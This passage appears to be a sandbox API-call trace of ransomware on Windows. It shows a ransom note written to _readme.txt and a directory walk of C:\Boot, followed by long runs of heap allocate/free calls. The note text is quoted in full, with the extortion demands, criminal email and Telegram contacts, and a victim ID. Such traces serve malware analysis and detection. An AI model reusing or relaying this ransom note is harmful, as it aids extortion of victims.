hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.257] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.257] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.257] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.257] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.257] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.258] CloseHandle (hObject=0x5c0) returned 1 [0059.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.258] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.258] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.258] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.258] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.258] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.258] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.258] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.259] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.263] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.265] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.265] 